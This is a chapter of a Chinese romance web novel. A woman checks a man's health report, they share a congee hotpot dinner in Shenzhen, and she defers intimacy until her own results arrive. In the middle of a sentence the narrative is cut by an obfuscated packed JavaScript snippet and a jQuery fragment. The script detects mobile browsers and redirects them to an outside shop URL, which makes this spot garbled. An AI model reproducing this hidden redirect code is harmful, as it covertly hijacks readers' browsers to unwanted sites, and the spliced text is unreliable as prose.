周予萂打开【report.pdf】,指尖轻点下载选项。很快,屏幕便跳出一份体检报告。
姓名:陈屿
性别:男
年龄:25
她快速掠过页眉的基本信息,下滑屏幕,双指放大:
乙肝病毒表面抗原(HBsAg):阴性(NEG)
乙肝病毒表面抗体(Anti-HBs):阳性(POS)
乙肝病毒e抗原(HBeAg):阴性(NEG)
乙肝病毒e抗体(Anti-HBe):阴性(NEG)
乙肝病毒核心抗体(Anti-HBc):阴性(NEG)
HIV抗原/抗体(HIVAg/Abo):阴性(NEG)
梅毒螺旋体抗体(SyphilisTP):无反应(NR)
周予萂松了口气,陈屿的检验结果在她意料之中,但莫须有的信任,总不如白纸黑字的报告。
通篇看下来,里面唯一显眼的指标是:“乙肝病毒表面抗体”呈阳性,但她之前便了解,这代表体内有对抗乙肝病毒的保护性抗体,意味着对乙肝病毒具有免疫力,是乙肝五项检查中唯一一个阳性反而是好事的指标。
周予萂又细看了一遍,没有问题。她关掉报告页面,顺手给他回了一个“收到”的表情包。
没多久,陈屿又发来了一张检查报告截图,上面显示:碳13呼气试验的DOB值为0.3。
数值小于4,说明没有幽门螺旋杆菌感染,她彻底放心了。
等做完检查出来,时间已近下午四点。同行的两位同事因检查项目不同,不用像她这样憋尿,体检结束后便先行回家了。
周予萂饿了大半天,胃里空空如也,去食堂领了一份体检中心提供的早餐,刚咬下一口面包,桌上的手机屏幕亮了起来。
陈屿:【做完体检了吗?】
周予萂抬起手臂,对手肘那片紫青色淤痕拍了张照,发送时附上一句:【刚做完。】
消息发出去没多久,手机震动起来,来电归属地是深圳。周予萂就着维他奶咽下面包,清了清嗓子,右滑接通电话:“喂。”
“还在医院?”
听筒传来的声音偏低,有些耳熟,周予萂愣了一秒,原以为是对接活动的客户,毕竟现在还是工作时间,她没想到陈屿会直接一通电话打来。
通话空白了几秒,她回:“嗯,正在吃早饭。”
对面的人轻笑了一声,“那么惨,在哪家医院?”
听筒里的声音,和现实中她听到的不太一样,声线更低、也更有磁性,听得她耳朵痒痒的。
“港大。”
“等一下还回公司吗?”
“不回,今天请了半天假。”
“那在负一楼停车场等我,我去接你,晚上一起吃饭。”
“不用麻...烦”
她拒绝的话没说完,就被对方打断:“我过去只要十五分钟,等我。”
周予萂握着手机,脑子里迅速过了一遍刚搜的导航:从港大医院回她家,地铁要坐21个站,还得换乘,回去至少要一个半小时。她看了一眼桌上的简陋早餐,应道:“好。”
挂了电话,周予萂加快速度解决了面包和鸡蛋,看时间差不多了,便叼着没喝完的维他奶往负一楼停车场走去。
刚到路口,一辆黑色路虎便停到她面前。车窗降下,露出陈屿那张轮廓分明的脸:“上车。”
周予萂没把他当司机,拉开副驾的门坐了进去。
车里冷气开得很足,她今天穿了一条长裙,外面套了件质地柔软的衬衫,袖口随意挽起几道。陈屿没有发动车子,目光落在她搭在膝盖的手臂上。
他刚开完一个漫长的会议,就收到她发来的图,那片淤青在莹白肤色下显得触目惊心,这会儿亲眼看见,似乎更狰狞了。
“疼么?你这个淤青看着很吓人。”陈屿皱了皱眉,手指比划了一下,“我抽完只有一个针眼大的青点。”
“还行,可能是体质问题吧。”周予萂笑了笑,抬手把挽起的袖子往下捋了捋。
陈屿收回目光,挂挡起步:“怎么拖到下午才来体检?”
“公司上午要开会,老板盯着,走不开。”周予萂吸了一口维他奶,靠在椅背上舒了一口气,抱怨道:“打工人的命也是命啊。”
车流汇入主路,陈屿看了一眼后视镜,问:“那等会想吃什么补补?”
“刚抽了那么多血,也没什么胃口,吃点清淡的吧。”周予萂想了想,“粥底火锅怎么样?”
陈屿很快接话:“行啊,那去汶和记?”
“可以。”
周予萂和郑云眠去吃过,那是家网红店,味道不错,但人很多,上次她们硬是在门口坐小板凳排了两小时队。
不过今天运气不错。他们到店时刚过五点二十,虽然是周五,但还没到真正的晚高峰,不需要等位便直接被领到了靠窗的座位。
两人面对面坐下。
陈屿自然地把菜单递给她:“你来点。”
周予萂没有推辞,接过菜单,快速扫过列表,手指在菜单上点得飞快:“招牌肥牛加蛋、鲜甜黄蚬子、自家手打鲜虾滑、脆肉鲩、招牌猪杂、牛肉丸,素菜要一份鲜枸杞叶。”
选完,她把菜单递回给他,语气干脆:“我想吃的就是这些,剩下的你看着来。”
陈屿接过菜单,手指悬停了一下,又补了一打生蚝、特大九节虾、灵魂粥底老友,最后加了一份酸辣无骨凤爪做前菜。
“先这样?不够再点。”
“行。”
点完单,服务员还没上菜,餐桌上出现了短暂的尴尬期。
周予萂并没有试图找话题消弭这份尴尬,她习以为常地掏出手机,说:“抱歉,我回几个工作消息。”
明天有场线下活动,物料下厂制作前她得再过最后一遍,查漏补缺。
“你忙你的。”陈屿正上手给她啷碗。
周予萂低着头,神情专注地屏幕上飞速敲字,屏幕的微光映在她的脸上,格外干练。
陈屿握着茶杯,目光隔着氤氲的热气,静静地落在她身上。
记忆里的周予萂,总是怯生生的。那时候的她,站在奶茶店的点单台前都要纠结半天,最后却选了最便宜的一款。吃个麦当劳也要精打细算,研究哪个套餐性价比最高,偶有几次,也是小心翼翼跟在别人身后,小声地说:“我和你一样就好”。
但此刻坐在他对面的周予萂,和以前完全不一样。点餐时她眼都不眨,清楚地知道自己想吃什么、不要什么,不再跟在谁的身后,也不需要谁来替她做决定。
周予萂处理完工作消息,将手机息屏扣在桌面上。刚一抬眼,便撞进了陈屿的视线。
对方顿了一下,随口找个了话题:“工作很忙?”
“嗯,挺忙的。最近经常加班,明天周六还要加班。”周予萂端起水杯抿了一口,眼底露出一丝疲惫。
“具体是做什么方向的?”
这一问,像触动了某个开关。周予萂微皱了下眉,语气里带着几分抗拒:“能不能不要下班时间聊工作?挺烦的。”
或许是觉得自己的语气有点暴躁,她顿了顿,又喝了口水,缓声解释:“我发现在深圳就是这样,只要出来吃饭,大家不是在吐槽领导,就是在骂同事、骂甲方,这种负能量场太累了,好没意思。”
“前段时间,我和朋友去了一趟广州大学城,在那边吃了一家鸡公煲,味道特别好,关键是邻桌全是大学生,大家聊的不是明星八卦,就是电视剧、美妆。当
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410503|200667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时我坐在那,感觉像是回到了大学时代,空气都是轻松的。”
其实她的大学生活并没有那么无忧无虑,大部分课余时间都在忙着兼职赚钱。但也正因如此,那些和舍友出去聚餐的日子,在记忆里被镀上了一层金边。
陈屿识趣地闭了嘴,没再继续问工作的事。
其实不用她说,他也能感觉出来。以前她的朋友圈虽然也不频繁,但偶尔会分享生活琐事,那是鲜活的。而工作之后,却变得越来越沉默,仅有的几条也是工作宣传。
那晚从她家出来,他没划两下就翻到了她几年前的动态。
恰在这时,服务员端着一盘吐净沙的黄蚬子走了过来,打破了尴尬。
“帮您下到粥底里提提鲜。”
服务员动作麻利地将蚬子倒入滚沸的砂锅。没过多久,贝壳在热浪中噼啪作响,一个个张开了口,露出饱满鲜嫩的肉。
陈屿拿起公筷,夹了几只最肥美的放进周予萂碗里,状似无意地问:“那你毕业之后,回过星城吗?”
周予萂看着碗里还冒着热气的黄蚬子,筷子尖轻轻拨弄了一下贝壳,随后摇了摇头:“没,参加完毕业典礼之后,再也没回去过了。”
她夹起蚬肉放进嘴里,鲜甜的汁水在舌尖炸开,眼神透过升腾的雾气看他:“平时放假都回老家了,一直也没什么契机回去,而且。”她顿了顿,语气里带着几分感慨:“有时候觉得,把那段时光封存在记忆里最好。真回去了,发现物是人非,反而破坏了那份美好。”
陈屿握着筷子的手微微一紧,随即点点头,没再深究。
那个话题就像这锅粥里的一个小插曲,很快被翻滚的热气掩盖。
接下来的时间里,两人极为默契地避开了所有关于过去、工作、情感的敏感话题。他们像两个美食家,把所有的注意力都倾注在了眼前的食物上。
“这个脆肉鲩烫十三秒就行,老了口感不好。”
“嗯,这个牛肉很好,带点奶香。”
“这家的虾滑确实不错,很扎实。”
和不熟的人一起吃饭,以食物为话题的对话永远是最安全的。
等荤菜被扫荡一空,锅底原本清淡的米汤也吸饱了食材的精华,变成了浓郁的奶白色。服务员撒上一把碧绿的鲜枸杞叶,关火,两人各喝了两碗集大成的灵魂粥底。
热粥下肚,周予萂胃里暖烘烘的,因体检而饿了一天的空虚终于被填满。
结账起身,两人走出餐厅时,夜色已深。
“我送你回去。”
周予萂站在路边,被晚风一吹,凉得缩了缩脖子。她没有推辞,也没有再说:不麻烦了,只是轻轻应了一声:“好。”
路虎稳稳地停在周予萂家楼下,她解开安全带,咔哒一声在安静的车里变得很响,正准备拉开车门,身后传来他的声音,在密闭空间里听着很低沉:
“我的体检报告你看了吧?没什么问题。”
这是一个陈述句,更是一种暗示。
周予萂动作一顿,偏过头看他,仪表盘的冷光映在他清晰的侧脸轮廓上。她点点头,神色轻松:“嗯,看过了,各项指标都很健康。”
“那就好。”陈屿指尖在方向盘上轻点了一下,身体微微前倾,似乎在等待某种默许。
然而,周予萂并没有顺着他的节奏走。她转过身,直视着陈屿的眼睛,条理清晰地说:“但是,我的体检报告还没出来,要明天下午才能查到。虽然我对自己的身体状况很有信心,但流程就是流程。基于成年人对彼此安全负责的原则,今晚还是什么都别发生比较好。”
“而且明天上午我有活动,得早起加班,状态也不行。”
刚说完拒绝的话,她话锋一转:“不过。明晚,还有后天,报告应该出了,我也正好有时间。可约。”